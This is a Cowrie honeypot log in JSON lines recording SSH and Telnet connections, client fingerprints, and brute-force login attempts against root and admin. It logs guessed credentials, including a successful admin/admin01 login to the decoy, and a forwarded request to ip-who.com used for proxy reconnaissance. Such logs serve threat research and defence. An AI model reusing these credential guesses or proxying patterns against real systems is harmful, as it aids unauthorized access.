{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:05:56.978164Z","src_ip":"198.20.127.158","session":"6ea22bdd5b45","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"80:c8:56:bb:7c:38:94:64:2d:f7:b8:fd:be:23:1b:98","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDT1fZQdt6AoIFeV9kqlT2DpezEb14jvmpiyo7+fSlSjEv+LMwzkKzOuqHo/f9dpjOmcbTjjp/3qmK5d+mcz6I3aur3UboRyL5dIh5xjG4qitX3nau8G7odvyQ/y5Z1dD4pjNXcUGEcnTKWQ35t6x2aKKEqRlgtRdeSNEWvSzBBBcpkETFT6fZlvaYicjvvERfac3xK9MxEwYn48p2l3Sn3RzfTSoYWUNVfdIJwtwyJOR9Jqjv1YEf3o6MCVsg5SnYjE9oeSifVc0LfYxagfEm1V+cLJLkbSM9n+Jht5ryY54BzkwrEaUk3Mi2RatT/4+o2CrqenX73HOaEQvFQkSZX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 80:c8:56:bb:7c:38:94:64:2d:f7:b8:fd:be:23:1b:98","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:05:57.396512Z","src_ip":"198.20.127.158","session":"6ea22bdd5b45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"80:c8:56:bb:7c:38:94:64:2d:f7:b8:fd:be:23:1b:98","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDT1fZQdt6AoIFeV9kqlT2DpezEb14jvmpiyo7+fSlSjEv+LMwzkKzOuqHo/f9dpjOmcbTjjp/3qmK5d+mcz6I3aur3UboRyL5dIh5xjG4qitX3nau8G7odvyQ/y5Z1dD4pjNXcUGEcnTKWQ35t6x2aKKEqRlgtRdeSNEWvSzBBBcpkETFT6fZlvaYicjvvERfac3xK9MxEwYn48p2l3Sn3RzfTSoYWUNVfdIJwtwyJOR9Jqjv1YEf3o6MCVsg5SnYjE9oeSifVc0LfYxagfEm1V+cLJLkbSM9n+Jht5ryY54BzkwrEaUk3Mi2RatT/4+o2CrqenX73HOaEQvFQkSZX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:05:57.400784Z","src_ip":"198.20.127.158","session":"6ea22bdd5b45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54294,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb29c946552d","protocol":"telnet","message":"New connection: 192.119.13.58:54294 (10.17.0.5:23) [session: bb29c946552d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:05:57.407283Z"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"82:e2:f7:9b:88:92:b6:00:7f:4a:60:54:43:a6:1d:79","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwh16MRsYAxRr1AMi5bu/kkvknnasFqtL3cmDr1EMjGmL95ekfzqTzWZiclIQCFHJ0zsTPcQSSLNDVbKPSXNDxDjijNIrVUj2jd2LUoF8kQa+NUE17pm+EykYt/x47AlxVJQp5Rj5/H8KfP0WYMXUSMMI8i2msfOhkIOTM92ExvmOuwQjkhTgCjvClCM016W29OOMALnFXwDmF9EeuSOftxXFRIhqA0EZi9D4+bcM+Sixpqz+Okd9Okzza7n0Ys8r2qIyWvq8vVUIfofHtRqhRYnmSgL+Qvjdlco89dvdy68Kt8JSp6SQ/BiOKSuSXnB54g0oOBZsjP7EUwcs/DFTbQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 82:e2:f7:9b:88:92:b6:00:7f:4a:60:54:43:a6:1d:79","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:05:57.490514Z","src_ip":"198.20.127.158","session":"6ea22bdd5b45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"82:e2:f7:9b:88:92:b6:00:7f:4a:60:54:43:a6:1d:79","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwh16MRsYAxRr1AMi5bu/kkvknnasFqtL3cmDr1EMjGmL95ekfzqTzWZiclIQCFHJ0zsTPcQSSLNDVbKPSXNDxDjijNIrVUj2jd2LUoF8kQa+NUE17pm+EykYt/x47AlxVJQp5Rj5/H8KfP0WYMXUSMMI8i2msfOhkIOTM92ExvmOuwQjkhTgCjvClCM016W29OOMALnFXwDmF9EeuSOftxXFRIhqA0EZi9D4+bcM+Sixpqz+Okd9Okzza7n0Ys8r2qIyWvq8vVUIfofHtRqhRYnmSgL+Qvjdlco89dvdy68Kt8JSp6SQ/BiOKSuSXnB54g0oOBZsjP7EUwcs/DFTbQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:05:57.503067Z","src_ip":"198.20.127.158","session":"6ea22bdd5b45","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f0:a1:19:e5:31:e8:cf:04:7b:c7:fc:16:be:db:5f:78","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC+DddtnGIfpqKdL1KNvV9E+1Yy6GaP/CsAsgwv2ajy85jJpCA8IMHu8O5RPH6iPl7RLdeKH9II6ikzH8ZCF5X2KkZWyXicH/IUwprYHbM3Zdmws5s6jsMFEi9bR4Zw4Va+RDvp+oKNcIDlWYnIXDBw4vBXvl0HWMxf6c/dWNRo24ptqrIi2qo1NuEEZo1NX05+0x8hpu8lDrt0bhAhspbk1U3pLv7xLJKAjuASQ3279/CPK01XirAG109CvNYaTbrnY93BCleOk4tGmVVJ2UOssC4xTaxbi8zQeJCECBbO63DrB+27GdqGpM93+Fmm/JhrIsS/xDj2NsfGkeIQ5Qr/Abqm1WoUf94BsvwnLAvDpwlwkAwZrZmNAhZds0NMmz5C5J8U84djgJKbOFNoHviJPvBYrL3gnUw9iOzJv8A3/d4BeWyxUlNc9fsUmfc+tvhb+cQWiL5zJyOkTma/58WT3pFecQIHVa5TeWSCxlvgo2eXG7dfnQA7tZ6OUETI890=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f0:a1:19:e5:31:e8:cf:04:7b:c7:fc:16:be:db:5f:78","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:05:57.592556Z","src_ip":"198.20.127.158","session":"6ea22bdd5b45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f0:a1:19:e5:31:e8:cf:04:7b:c7:fc:16:be:db:5f:78","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC+DddtnGIfpqKdL1KNvV9E+1Yy6GaP/CsAsgwv2ajy85jJpCA8IMHu8O5RPH6iPl7RLdeKH9II6ikzH8ZCF5X2KkZWyXicH/IUwprYHbM3Zdmws5s6jsMFEi9bR4Zw4Va+RDvp+oKNcIDlWYnIXDBw4vBXvl0HWMxf6c/dWNRo24ptqrIi2qo1NuEEZo1NX05+0x8hpu8lDrt0bhAhspbk1U3pLv7xLJKAjuASQ3279/CPK01XirAG109CvNYaTbrnY93BCleOk4tGmVVJ2UOssC4xTaxbi8zQeJCECBbO63DrB+27GdqGpM93+Fmm/JhrIsS/xDj2NsfGkeIQ5Qr/Abqm1WoUf94BsvwnLAvDpwlwkAwZrZmNAhZds0NMmz5C5J8U84djgJKbOFNoHviJPvBYrL3gnUw9iOzJv8A3/d4BeWyxUlNc9fsUmfc+tvhb+cQWiL5zJyOkTma/58WT3pFecQIHVa5TeWSCxlvgo2eXG7dfnQA7tZ6OUETI890=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:05:57.596373Z","src_ip":"198.20.127.158","session":"6ea22bdd5b45","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"79:03:7f:a0:5e:cc:26:08:cc:b7:ad:8b:4d:fa:93:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRYJjMgA0lw6mX+YSzOaPArRMc9RaKT8FJAnOQVraLAATxnrhw7uFWdqURiEHgLWlfxKMxd5zbpOHftduDZ0KExMV9hKk9EJSEFWlz+aR0T2M8NIyaQ51TD+fwUjazNtzNDMQ8FqKHia2OxHFJouGxAyB35LFHhvF/OC3w1k37jBP/J1Yn1CJXhKn9+L2fUK4LBvaQ5P/inh2YjESVluCHQ7h0vSWd7Pxvt86HJm9qXTmU08vHH3n+y7airagcwUrq8rRh1VWjse2JDi9fT+mXTVyojulhkCa46m5v/WMKtD1BJBqzP8x801b8SRuxvf7JlBetyntd50IB35gfD/uF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 79:03:7f:a0:5e:cc:26:08:cc:b7:ad:8b:4d:fa:93:26","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:05:57.685848Z","src_ip":"198.20.127.158","session":"6ea22bdd5b45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"79:03:7f:a0:5e:cc:26:08:cc:b7:ad:8b:4d:fa:93:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRYJjMgA0lw6mX+YSzOaPArRMc9RaKT8FJAnOQVraLAATxnrhw7uFWdqURiEHgLWlfxKMxd5zbpOHftduDZ0KExMV9hKk9EJSEFWlz+aR0T2M8NIyaQ51TD+fwUjazNtzNDMQ8FqKHia2OxHFJouGxAyB35LFHhvF/OC3w1k37jBP/J1Yn1CJXhKn9+L2fUK4LBvaQ5P/inh2YjESVluCHQ7h0vSWd7Pxvt86HJm9qXTmU08vHH3n+y7airagcwUrq8rRh1VWjse2JDi9fT+mXTVyojulhkCa46m5v/WMKtD1BJBqzP8x801b8SRuxvf7JlBetyntd50IB35gfD/uF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:05:57.689891Z","src_ip":"198.20.127.158","session":"6ea22bdd5b45","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"71:b9:f9:3b:61:34:47:c0:6a:2a:09:fa:80:96:11:78","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2I0fcpQOsXIW9Wid48Wwi3UQxz/0WLOIIuB2XE5QQDxrsxUtD4dWLGCd3VRNT9VXgMkyqZmKtQ+DIeg5kbPIRieQaSyQd5H/Er408qX1/xegyJlxqk/mGk7n9fTttOtBTWaTdxejU0G+NrCKkRBO87POaqXlNIJcM8p97CNHbRQ0pDa0sPF7JGE7QEp7JgWV1ZZQLltxv5y56BvpvSpcLrOUHqMoH4J4aiTEk/g+klfkRShro4w9mRjzmEqmu7prmDsUQuUVZhpGDn0/BAFYyMA1PWezuRCZexUFlhgpqKCgZoWYkzH8EascpSGqcTdueXJ1krBu7PqbftHIS0Ihf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 71:b9:f9:3b:61:34:47:c0:6a:2a:09:fa:80:96:11:78","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:05:57.780204Z","src_ip":"198.20.127.158","session":"6ea22bdd5b45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"71:b9:f9:3b:61:34:47:c0:6a:2a:09:fa:80:96:11:78","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2I0fcpQOsXIW9Wid48Wwi3UQxz/0WLOIIuB2XE5QQDxrsxUtD4dWLGCd3VRNT9VXgMkyqZmKtQ+DIeg5kbPIRieQaSyQd5H/Er408qX1/xegyJlxqk/mGk7n9fTttOtBTWaTdxejU0G+NrCKkRBO87POaqXlNIJcM8p97CNHbRQ0pDa0sPF7JGE7QEp7JgWV1ZZQLltxv5y56BvpvSpcLrOUHqMoH4J4aiTEk/g+klfkRShro4w9mRjzmEqmu7prmDsUQuUVZhpGDn0/BAFYyMA1PWezuRCZexUFlhgpqKCgZoWYkzH8EascpSGqcTdueXJ1krBu7PqbftHIS0Ihf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:05:57.783696Z","src_ip":"198.20.127.158","session":"6ea22bdd5b45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:05:57.873301Z","src_ip":"198.20.127.158","session":"6ea22bdd5b45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57996,"dst_ip":"10.17.0.5","dst_port":23,"session":"2468c05183f6","protocol":"telnet","message":"New connection: 192.119.13.58:57996 (10.17.0.5:23) [session: 2468c05183f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:05:58.637163Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36720,"dst_ip":"10.17.0.5","dst_port":23,"session":"39e8e08bf155","protocol":"telnet","message":"New connection: 192.119.13.58:36720 (10.17.0.5:23) [session: 39e8e08bf155]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:06:00.665117Z"}
{"eventid":"cowrie.session.closed","duration":6.09263014793396,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:06:01.640093Z","src_ip":"192.119.13.58","session":"d5385eb71fec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"116.110.11.66","src_port":42346,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7dfc84f8036","protocol":"ssh","message":"New connection: 116.110.11.66:42346 (159.203.135.109:22) [session: a7dfc84f8036]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:06:02.670149Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:06:02.710381Z","src_ip":"116.110.11.66","session":"a7dfc84f8036","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:06:02.942211Z","src_ip":"116.110.11.66","session":"a7dfc84f8036","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51032,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ca12ce0eed1","protocol":"telnet","message":"New connection: 192.119.13.58:51032 (10.17.0.5:23) [session: 2ca12ce0eed1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:06:05.099767Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin01","message":"login attempt [admin/admin01] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:06:05.945992Z","src_ip":"116.110.11.66","session":"a7dfc84f8036","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"ip-who.com","dst_port":80,"src_ip":"116.110.11.66","src_port":0,"message":"direct-tcp connection request to ip-who.com:80 from :0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:06:07.047832Z","session":"a7dfc84f8036","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"ip-who.com","dst_port":80,"ja4h":"ge11nn010000_4740ae6347b0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to ip-who.com:80: ge11nn010000_4740ae6347b0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:06:08.107568Z","src_ip":"116.110.11.66","session":"a7dfc84f8036","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"ip-who.com","dst_port":80,"data":"b'GET /json/ HTTP/1.1\\r\\nHost: ip-who.com\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to ip-who.com:80 with data b'GET /json/ HTTP/1.1\\r\\nHost: ip-who.com\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:06:08.111414Z","src_ip":"116.110.11.66","session":"a7dfc84f8036","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:06:09.088704Z","src_ip":"116.110.11.66","session":"a7dfc84f8036","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38876,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e7d4f8ffff6","protocol":"telnet","message":"New connection: 192.119.13.58:38876 (10.17.0.5:23) [session: 9e7d4f8ffff6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:06:09.361197Z"}
{"eventid":"cowrie.session.connect","src_ip":"201.249.192.30","src_port":28895,"dst_ip":"10.17.0.5","dst_port":22,"session":"18076e7e511f","protocol":"ssh","message":"New connection: 201.249.192.30:28895 (10.17.0.5:22) [session: 18076e7e511f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:06:10.934675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:06:10.939399Z","src_ip":"201.249.192.30","session":"18076e7e511f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:06:11.015638Z","src_ip":"201.249.192.30","session":"18076e7e511f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fuckoff","message":"login attempt [root/fuckoff] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:06:11.335677Z","src_ip":"201.249.192.30","session":"18076e7e511f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:06:12.410691Z","src_ip":"201.249.192.30","session":"18076e7e511f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.98328995704651,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:06:14.306435Z","src_ip":"192.119.13.58","session":"11eb7e42c0a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"115.68.226.124","src_port":38737,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc667b9145d3","protocol":"ssh","message":"New connection: 115.68.226.124:38737 (10.17.0.5:22) [session: cc667b9145d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:06:14.810323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:06:14.815296Z","src_ip":"115.68.226.124","session":"cc667b9145d3","protocol":"ssh"}
